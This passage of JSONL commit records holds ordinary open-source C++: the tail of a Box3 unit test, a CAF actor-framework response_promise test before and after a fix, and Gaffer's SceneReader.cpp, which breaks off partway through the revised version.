\"data\/Box3_test.txt\", true)\nRESULT\n\nCHECK(std::istream& operator >> (std::istream& s, TBox3<T>& Box3))\n\tstd::ifstream instr(\"data\/Box3_test2.txt\");\n\tBox3 b(10, 20, 30, 40, 50, 60);\n\tinstr >> b;\n\tinstr.close();\n\tBox3 b1(1, 2, 3, 4, 5, 6);\n\tTEST_EQUAL(b, b1)\nRESULT\n\nNEW_TMP_FILE(filename)\nCHECK(std::ostream& operator << (std::ostream& s, const TBox3<T>& Box3))\n\tBox3 v(1, 2, 3, 4, 5, 6);\n\tstd::ofstream outstr(filename.c_str(), File::OUT);\n\toutstr << v;\n\toutstr.close();\n\tTEST_FILE(filename.c_str(), \"data\/Box3_test2.txt\", false)\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Quick fix<commit_after><|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n *                       ____    _    _____                                   *\n *                      \/ ___|  \/ \\  |  ___|    C++                           *\n *                     | |     \/ _ \\ | |_       Actor                         *\n *                     | |___ \/ ___ \\|  _|      Framework                     *\n *                      \\____\/_\/   \\_|_|                                      *\n *                                                                            *\n * Copyright 2011-2021 Dominik Charousset                                     *\n *                                                                            *\n * Distributed under the terms and conditions of the BSD 3-Clause License or  *\n * (at your option) under the terms and conditions of the Boost Software      *\n * License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE.       *\n *                                                                            *\n * If you did not receive a copy of the license files, see                    *\n * http:\/\/opensource.org\/licenses\/BSD-3-Clause and                            *\n * http:\/\/www.boost.org\/LICENSE_1_0.txt.                                      *\n ******************************************************************************\/\n\n#define CAF_SUITE response_promise\n\n#include \"caf\/response_promise.hpp\"\n\n#include \"core-test.hpp\"\n\nusing namespace caf;\n\nnamespace {\n\nbehavior adder() {\n  return {\n    [](int x, int y) { return x + y; },\n    [](ok_atom) {},\n  };\n}\n\nbehavior delegator(event_based_actor* self, actor worker) {\n  return {\n    [=](int x, int y) {\n      auto promise = self->make_response_promise();\n      return promise.delegate(worker, x, y);\n    },\n    [=](ok_atom) {\n      auto promise = self->make_response_promise();\n      return promise.delegate(worker, ok_atom_v);\n    },\n  };\n}\n\nbehavior requester_v1(event_based_actor* self, actor worker) {\n  return {\n    [=](int x, int y) {\n      auto rp = self->make_response_promise();\n      self->request(worker, infinite, x, y)\n        .then(\n          [rp](int result) mutable {\n            CHECK(rp.pending());\n            rp.deliver(result);\n          },\n          [rp](error err) mutable {\n            CHECK(rp.pending());\n            rp.deliver(std::move(err));\n          });\n      return rp;\n    },\n    [=](ok_atom) {\n      auto rp = self->make_response_promise();\n      self->request(worker, infinite, ok_atom_v)\n        .then(\n          [rp]() mutable {\n            CHECK(rp.pending());\n            rp.deliver();\n          },\n          [rp](error err) mutable {\n            CHECK(rp.pending());\n            rp.deliver(std::move(err));\n          });\n      return rp;\n    },\n  };\n}\n\nbehavior requester_v2(event_based_actor* self, actor worker) {\n  return {\n    [=](int x, int y) {\n      auto rp = self->make_response_promise();\n      auto deliver = [rp](expected<int> x) mutable {\n        CHECK(rp.pending());\n        rp.deliver(std::move(x));\n      };\n      self->request(worker, infinite, x, y)\n        .then([deliver](int result) mutable { deliver(result); },\n              [deliver](error err) mutable { deliver(std::move(err)); });\n      return rp;\n    },\n    [=](ok_atom) {\n      auto rp = self->make_response_promise();\n      auto deliver = [rp](expected<void> x) mutable {\n        CHECK(rp.pending());\n        rp.deliver(std::move(x));\n      };\n      self->request(worker, infinite, ok_atom_v)\n        .then([deliver]() mutable { deliver({}); },\n              [deliver](error err) mutable { deliver(std::move(err)); });\n      return rp;\n    },\n  };\n}\n\n} \/\/ namespace\n\nCAF_TEST_FIXTURE_SCOPE(response_promise_tests, test_coordinator_fixture<>)\n\nSCENARIO(\"response promises allow delaying of response messages\") {\n  auto adder_hdl = sys.spawn(adder);\n  std::map<std::string, actor> impls;\n  impls[\"with a value or an error\"] = sys.spawn(requester_v1, adder_hdl);\n  impls[\"with an expected<T>\"] = sys.spawn(requester_v2, adder_hdl);\n  for (auto& [desc, hdl] : impls) {\n    GIVEN(\"a dispatcher that calls deliver \" << desc << \" on its promise\") {\n      WHEN(\"sending a request with two integers to the dispatcher\") {\n        inject((int, int), from(self).to(hdl).with(3, 4));\n        THEN(\"clients receive the response from the dispatcher\") {\n          expect((int, int), from(hdl).to(adder_hdl).with(3, 4));\n          expect((int), from(adder_hdl).to(hdl).with(7));\n          expect((int), from(hdl).to(self).with(7));\n        }\n      }\n      WHEN(\"sending ok_atom to the dispatcher synchronously\") {\n        auto res = self->request(hdl, infinite, ok_atom_v);\n        auto fetch_result = [&] {\n          message result;\n          res.receive([] {}, \/\/ void result\n                      [&](const error& reason) {\n                        result = make_message(reason);\n                      });\n          return result;\n        };\n        THEN(\"clients receive an empty response from the dispatcher\") {\n          expect((ok_atom), from(self).to(hdl));\n          expect((ok_atom), from(hdl).to(adder_hdl));\n          expect((void), from(adder_hdl).to(hdl));\n          CHECK(fetch_result().empty());\n        }\n      }\n      WHEN(\"sending ok_atom to the dispatcher asynchronously\") {\n        THEN(\"clients receive no response from the dispatcher\") {\n          inject((ok_atom), from(self).to(hdl).with(ok_atom_v));\n          expect((ok_atom), from(hdl).to(adder_hdl));\n          expect((void), from(adder_hdl).to(hdl));\n          CHECK(self->mailbox().empty());\n        }\n      }\n    }\n  }\n}\n\nSCENARIO(\"response promises allow delegation\") {\n  GIVEN(\"a dispatcher that calls delegate on its promise\") {\n    auto adder_hdl = sys.spawn(adder);\n    auto hdl = sys.spawn(delegator, adder_hdl);\n    WHEN(\"sending a request to the dispatcher\") {\n      inject((int, int), from(self).to(hdl).with(3, 4));\n      THEN(\"clients receive the response from the adder\") {\n        expect((int, int), from(self).to(adder_hdl).with(3, 4));\n        expect((int), from(adder_hdl).to(self).with(7));\n      }\n    }\n  }\n}\n\nCAF_TEST_FIXTURE_SCOPE_END()\n<commit_msg>Fix handling of expected<T> in response promises<commit_after>\/\/ This file is part of CAF, the C++ Actor Framework. See the file LICENSE in\n\/\/ the main distribution directory for license terms and copyright or visit\n\/\/ https:\/\/github.com\/actor-framework\/actor-framework\/blob\/master\/LICENSE.\n\n#define CAF_SUITE response_promise\n\n#include \"caf\/response_promise.hpp\"\n\n#include \"core-test.hpp\"\n\nusing namespace caf;\n\nnamespace {\n\nbehavior adder() {\n  return {\n    [](int x, int y) { return x + y; },\n    [](ok_atom) {},\n  };\n}\n\nbehavior delegator(event_based_actor* self, actor worker) {\n  return {\n    [=](int x, int y) {\n      auto promise = self->make_response_promise();\n      return promise.delegate(worker, x, y);\n    },\n    [=](ok_atom) {\n      auto promise = self->make_response_promise();\n      return promise.delegate(worker, ok_atom_v);\n    },\n  };\n}\n\nbehavior requester_v1(event_based_actor* self, actor worker) {\n  return {\n    [=](int x, int y) {\n      auto rp = self->make_response_promise();\n      self->request(worker, infinite, x, y)\n        .then(\n          [rp](int result) mutable {\n            CHECK(rp.pending());\n            rp.deliver(result);\n          },\n          [rp](error err) mutable {\n            CHECK(rp.pending());\n            rp.deliver(std::move(err));\n          });\n      return rp;\n    },\n    [=](ok_atom) {\n      auto rp = self->make_response_promise();\n      self->request(worker, infinite, ok_atom_v)\n        .then(\n          [rp]() mutable {\n            CHECK(rp.pending());\n            rp.deliver();\n          },\n          [rp](error err) mutable {\n            CHECK(rp.pending());\n            rp.deliver(std::move(err));\n          });\n      return rp;\n    },\n  };\n}\n\nbehavior requester_v2(event_based_actor* self, actor worker) {\n  return {\n    [=](int x, int y) {\n      auto rp = self->make_response_promise();\n      auto deliver = [rp](expected<int> x) mutable {\n        CHECK(rp.pending());\n        rp.deliver(std::move(x));\n      };\n      self->request(worker, infinite, x, y)\n        .then([deliver](int result) mutable { deliver(result); },\n              [deliver](error err) mutable { deliver(std::move(err)); });\n      return rp;\n    },\n    [=](ok_atom) {\n      auto rp = self->make_response_promise();\n      auto deliver = [rp](expected<void> x) mutable {\n        CHECK(rp.pending());\n        rp.deliver(std::move(x));\n      };\n      self->request(worker, infinite, ok_atom_v)\n        .then([deliver]() mutable { deliver({}); },\n              [deliver](error err) mutable { deliver(std::move(err)); });\n      return rp;\n    },\n  };\n}\n\n} \/\/ namespace\n\nCAF_TEST_FIXTURE_SCOPE(response_promise_tests, test_coordinator_fixture<>)\n\nSCENARIO(\"response promises allow delaying of response messages\") {\n  auto adder_hdl = sys.spawn(adder);\n  std::map<std::string, actor> impls;\n  impls[\"with a value or an error\"] = sys.spawn(requester_v1, adder_hdl);\n  impls[\"with an expected<T>\"] = sys.spawn(requester_v2, adder_hdl);\n  for (auto& [desc, hdl] : impls) {\n    GIVEN(\"a dispatcher that calls deliver \" << desc << \" on its promise\") {\n      WHEN(\"sending a request with two integers to the dispatcher\") {\n        inject((int, int), from(self).to(hdl).with(3, 4));\n        THEN(\"clients receive the response from the dispatcher\") {\n          expect((int, int), from(hdl).to(adder_hdl).with(3, 4));\n          expect((int), from(adder_hdl).to(hdl).with(7));\n          expect((int), from(hdl).to(self).with(7));\n        }\n      }\n      WHEN(\"sending ok_atom to the dispatcher synchronously\") {\n        auto res = self->request(hdl, infinite, ok_atom_v);\n        auto fetch_result = [&] {\n          message result;\n          res.receive([] {}, \/\/ void result\n                      [&](const error& reason) {\n                        result = make_message(reason);\n                      });\n          return result;\n        };\n        THEN(\"clients receive an empty response from the dispatcher\") {\n          expect((ok_atom), from(self).to(hdl));\n          expect((ok_atom), from(hdl).to(adder_hdl));\n          expect((void), from(adder_hdl).to(hdl));\n          CHECK(fetch_result().empty());\n        }\n      }\n      WHEN(\"sending ok_atom to the dispatcher asynchronously\") {\n        THEN(\"clients receive no response from the dispatcher\") {\n          inject((ok_atom), from(self).to(hdl).with(ok_atom_v));\n          expect((ok_atom), from(hdl).to(adder_hdl));\n          expect((void), from(adder_hdl).to(hdl));\n          CHECK(self->mailbox().empty());\n        }\n      }\n    }\n  }\n}\n\nSCENARIO(\"response promises allow delegation\") {\n  GIVEN(\"a dispatcher that calls delegate on its promise\") {\n    auto adder_hdl = sys.spawn(adder);\n    auto hdl = sys.spawn(delegator, adder_hdl);\n    WHEN(\"sending a request to the dispatcher\") {\n      inject((int, int), from(self).to(hdl).with(3, 4));\n      THEN(\"clients receive the response from the adder\") {\n        expect((int, int), from(self).to(adder_hdl).with(3, 4));\n        expect((int), from(adder_hdl).to(self).with(7));\n      }\n    }\n  }\n}\n\nCAF_TEST_FIXTURE_SCOPE_END()\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix crash on unhooking function when capture_data is not available<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/  \n\/\/  Copyright (c) 2013-2014, Image Engine Design Inc. All rights reserved.\n\/\/  \n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/  \n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/  \n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/  \n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/  \n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/  \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/bind.hpp\"\n\n#include \"IECore\/SharedSceneInterfaces.h\"\n#include \"IECore\/InternedString.h\"\n#include \"IECore\/SceneCache.h\"\n\n#include \"Gaffer\/Context.h\"\n\n#include \"GafferScene\/SceneReader.h\"\n\nusing namespace std;\nusing namespace Imath;\nusing namespace IECore;\nusing namespace Gaffer;\nusing namespace GafferScene;\n\nIE_CORE_DEFINERUNTIMETYPED( SceneReader );\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SceneReader implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/ \\todo hard coded framerate should be replaced with a getTime() method on Gaffer::Context or something\nconst double SceneReader::g_frameRate( 24 );\nsize_t SceneReader::g_firstPlugIndex = 0;\n\nstatic IECore::BoolDataPtr g_trueBoolData = new IECore::BoolData( true );\n\nSceneReader::SceneReader( const std::string &name )\n\t:\tFileSource( name )\n{\n\tstoreIndexOfNextChild( g_firstPlugIndex );\n\taddChild( new StringPlug( \"tags\" ) );\n\tplugSetSignal().connect( boost::bind( &SceneReader::plugSet, this, ::_1 ) );\n}\n\nSceneReader::~SceneReader()\n{\n}\n\nGaffer::StringPlug *SceneReader::tagsPlug()\n{\n\treturn getChild<StringPlug>( g_firstPlugIndex );\n}\n\nconst Gaffer::StringPlug *SceneReader::tagsPlug() const\n{\n\treturn getChild<StringPlug>( g_firstPlugIndex );\n}\n\nvoid SceneReader::affects( const Gaffer::Plug *input, AffectedPlugsContainer &outputs ) const\n{\n\tFileSource::affects( input, outputs );\n\t\n\tif( input == tagsPlug() )\n\t{\n\t\toutputs.push_back( outPlug()->childNamesPlug() );\n\t}\n}\n\nsize_t SceneReader::supportedExtensions( std::vector<std::string> &extensions )\n{\n\textensions = SceneInterface::supportedExtensions();\n\treturn extensions.size();\n}\n\nvoid SceneReader::hashBound( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tFileSource::hashBound( path, context, parent, h );\n\n\tConstSceneInterfacePtr s = scene( path );\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss || ss->numBoundSamples() > 1 )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nvoid SceneReader::hashTransform( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tFileSource::hashTransform( path, context, parent, h );\n\t\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn;\n\t}\n\t\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss || ss->numTransformSamples() > 1 )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nvoid SceneReader::hashAttributes( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\th = parent->attributesPlug()->defaultValue()->Object::hash();\n\t\treturn;\n\t}\n\t\n\tSceneInterface::NameList attributeNames;\n\ts->attributeNames( attributeNames );\n\tSceneInterface::NameList tagNames;\n\ts->readTags( tagNames, IECore::SceneInterface::LocalTag );\n\t\n\tif( !attributeNames.size() && !tagNames.size() )\n\t{\n\t\th = parent->attributesPlug()->defaultValue()->Object::hash();\n\t\treturn;\n\t}\n\n\tFileSource::hashAttributes( path, context, parent, h );\n\n\tbool animated = false;\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss )\n\t{\n\t\tanimated = true;\n\t}\n\telse\n\t{\n\t\tfor( SceneInterface::NameList::iterator it = attributeNames.begin(); it != attributeNames.end(); ++it )\n\t\t{\n\t\t\tif( ss->numAttributeSamples( *it ) > 1 )\n\t\t\t{\n\t\t\t\tanimated = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\t\t\t\n\tif( animated )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nvoid SceneReader::hashObject( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s || !s->hasObject() )\n\t{\n\t\t\/\/ no object\n\t\th = parent->objectPlug()->defaultValue()->hash();\n\t\treturn;\n\t}\n\n\tFileSource::hashObject( path, context, parent, h );\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss || ss->numObjectSamples() > 1 )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nvoid SceneReader::hashChildNames( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tFileSource::hashChildNames( path, context, parent, h );\n\ttagsPlug()->hash( h );\n}\n\nImath::Box3f SceneReader::computeBound( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn Box3f();\n\t}\n\t\n\tBox3d b = s->readBound( context->getFrame() \/ g_frameRate );\n\t\n\tif( b.isEmpty() )\n\t{\n\t\treturn Box3f();\n\t}\n\t\n\treturn Box3f( b.min, b.max );\n}\n\nImath::M44f SceneReader::computeTransform( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn M44f();\n\t}\n\t\t\n\tM44d t = s->readTransformAsMatrix( context->getFrame() \/ g_frameRate );\n\t\n\treturn M44f(\n\t\tt[0][0], t[0][1], t[0][2], t[0][3],\n\t\tt[1][0], t[1][1], t[1][2], t[1][3],\n\t\tt[2][0], t[2][1], t[2][2], t[2][3],\n\t\tt[3][0], t[3][1], t[3][2], t[3][3]\n\t);\n}\n\nIECore::ConstCompoundObjectPtr SceneReader::computeAttributes( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn parent->attributesPlug()->defaultValue();\n\t}\n\t\n\t\/\/ read attributes\n\t\n\tSceneInterface::NameList nameList;\n\ts->attributeNames( nameList );\n\t\n\tCompoundObjectPtr result = new CompoundObject;\n\t\n\tfor( SceneInterface::NameList::iterator it = nameList.begin(); it != nameList.end(); ++it )\n\t{\n\t\t\/\/ these internal attributes should be ignored:\n\t\tif( *it == SceneCache::animatedObjectTopologyAttribute )\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tif( *it == SceneCache::animatedObjectPrimVarsAttribute )\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t\/\/ the const cast is ok, because we're only using it to put the object into a CompoundObject that will\n\t\t\/\/ be treated as forever const after being returned from this function.\n\t\tresult->members()[ std::string( *it ) ] = constPointerCast<Object>( s->readAttribute( *it, context->getFrame() \/ g_frameRate ) );\n\t}\n\n\t\/\/ read tags and turn them into attributes of the form \"user:tag:tagName\"\n\t\n\tnameList.clear();\n\ts->readTags( nameList, IECore::SceneInterface::LocalTag );\n\tfor( SceneInterface::NameList::const_iterator it = nameList.begin(); it != nameList.end(); ++it )\n\t{\n\t\tif( it->string().compare( 0, 11, \"ObjectType:\" ) == 0 )\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tresult->members()[\"user:tag:\"+it->string()] = g_trueBoolData;\n\t}\n\n\treturn result;\n}\n\nIECore::ConstObjectPtr SceneReader::computeObject( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s || !s->hasObject() )\n\t{\n\t\treturn parent->objectPlug()->defaultValue();\n\t}\n\t\n\treturn s->readObject( context->getFrame() \/ g_frameRate );\n}\n\nIECore::ConstInternedStringVectorDataPtr SceneReader::computeChildNames( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn parent->childNamesPlug()->defaultValue();\n\t}\n\n\t\/\/ get the child names\n\t\n\tInternedStringVectorDataPtr resultData = new InternedStringVectorData;\n\tvector<InternedString> &result = resultData->writable();\n\ts->childNames( result );\n\t\n\t\/\/ filter out any which don't have the right tags\n\t\n\tstd::string tagsString = tagsPlug()->getValue();\n\tif( !tagsString.empty() )\n\t{\n\t\ttypedef boost::tokenizer<boost::char_separator<char> > Tokenizer;\n\t\tTokenizer tagsTokenizer( tagsString, boost::char_separator<char>( \" \" ) );\n\t\t\n\t\tvector<InternedString> tags;\n\t\tstd::copy( tagsTokenizer.begin(), tagsTokenizer.end(), back_inserter( tags ) );\n\t\t\n\t\tvector<InternedString>::iterator newResultEnd = result.begin();\n\t\tSceneInterface::NameList childTags;\n\t\tfor( vector<InternedString>::const_iterator cIt = result.begin(), cEIt = result.end(); cIt != cEIt; ++cIt )\n\t\t{\n\t\t\tConstSceneInterfacePtr child = s->child( *cIt );\n\t\t\tchildTags.clear();\n\t\t\tchild->readTags( childTags, IECore::SceneInterface::EveryTag );\n\t\t\t\n\t\t\tbool childMatches = false;\n\t\t\tfor( SceneInterface::NameList::const_iterator tIt = childTags.begin(), tEIt = childTags.end(); tIt != tEIt; ++tIt )\n\t\t\t{\n\t\t\t\tif( find( tags.begin(), tags.end(), *tIt ) != tags.end() )\n\t\t\t\t{\n\t\t\t\t\tchildMatches = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tif( childMatches )\n\t\t\t{\n\t\t\t\t*newResultEnd++ = *cIt;\n\t\t\t}\n\t\t}\n\t\t\n\t\tresult.erase( newResultEnd, result.end() );\n\t}\n\t\n\treturn resultData;\n}\n\nIECore::ConstCompoundObjectPtr SceneReader::computeGlobals( const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\treturn parent->globalsPlug()->defaultValue();\n}\n\nvoid SceneReader::plugSet( Gaffer::Plug *plug )\n{\n\t\/\/ this clears the cache every time the refresh count is updated, so you don't get entries\n\t\/\/ from old files hanging around and screwing up the hierarchy.\n\t\/\/\/ \\todo The fact that this clears the cache for all nodes, ever is a problem - find a better\n\t\/\/ way of doing this!\n\tif( plug == refreshCountPlug() )\n\t{\n\t\tSharedSceneInterfaces::clear();\n\t\tm_lastScene.clear();\n\t}\n}\n\nConstSceneInterfacePtr SceneReader::scene( const ScenePath &path ) const\n{\n\tstd::string fileName = fileNamePlug()->getValue();\n\tif( !fileName.size() )\n\t{\n\t\treturn NULL;\n\t}\n\t\n\tLastScene &lastScene = m_lastScene.local();\n\tif( lastScene.fileName == fileName )\n\t{\n\t\tif( lastScene.path == path )\n\t\t{\n\t\t\treturn lastScene.pathScene;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tlastScene.path = path;\n\t\t\tlastScene.pathScene = lastScene.fileNameScene->scene( path );\n\t\t\treturn lastScene.pathScene;\n\t\t}\n\t}\n\n\tlastScene.fileName = fileName;\n\tlastScene.fileNameScene = SharedSceneInterfaces::get( fileName );\n\tlastScene.path = path;\n\tlastScene.pathScene = lastScene.fileNameScene->scene( path );\n\treturn lastScene.pathScene;\n}\n<commit_msg>Interleaved hash\/compute methods in SceneReader.cpp.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/  \n\/\/  Copyright (c) 2013-2014, Image Engine Design Inc. All rights reserved.\n\/\/  \n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/  \n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/  \n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/  \n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/  \n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/  \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/bind.hpp\"\n\n#include \"IECore\/SharedSceneInterfaces.h\"\n#include \"IECore\/InternedString.h\"\n#include \"IECore\/SceneCache.h\"\n\n#include \"Gaffer\/Context.h\"\n\n#include \"GafferScene\/SceneReader.h\"\n\nusing namespace std;\nusing namespace Imath;\nusing namespace IECore;\nusing namespace Gaffer;\nusing namespace GafferScene;\n\nIE_CORE_DEFINERUNTIMETYPED( SceneReader );\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SceneReader implementation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/ \\todo hard coded framerate should be replaced with a getTime() method on Gaffer::Context or something\nconst double SceneReader::g_frameRate( 24 );\nsize_t SceneReader::g_firstPlugIndex = 0;\n\nstatic IECore::BoolDataPtr g_trueBoolData = new IECore::BoolData( true );\n\nSceneReader::SceneReader( const std::string &name )\n\t:\tFileSource( name )\n{\n\tstoreIndexOfNextChild( g_firstPlugIndex );\n\taddChild( new StringPlug( \"tags\" ) );\n\tplugSetSignal().connect( boost::bind( &SceneReader::plugSet, this, ::_1 ) );\n}\n\nSceneReader::~SceneReader()\n{\n}\n\nGaffer::StringPlug *SceneReader::tagsPlug()\n{\n\treturn getChild<StringPlug>( g_firstPlugIndex );\n}\n\nconst Gaffer::StringPlug *SceneReader::tagsPlug() 